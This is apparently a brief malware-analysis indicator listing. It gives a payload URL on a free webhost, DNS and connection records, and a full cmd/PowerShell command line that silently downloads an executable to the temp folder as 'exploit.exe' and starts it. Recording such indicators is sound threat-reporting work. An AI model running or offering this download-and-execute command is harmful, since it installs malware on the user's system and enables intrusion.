Technical Information
- https://zipperela.000webhostapp.com/wp-admin/includes/tskmngr.exe as %temp%\exploit.exe
- 'zi######a.000webhostapp.com':443
- DNS ASK zi######a.000webhostapp.com
- '<SYSTEM32>\cmd.exe' /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://zipperela.000webhostapp.com/wp-admin/includes/tskmngr.exe','%temp%\exploit.exe');Start-Process '%te...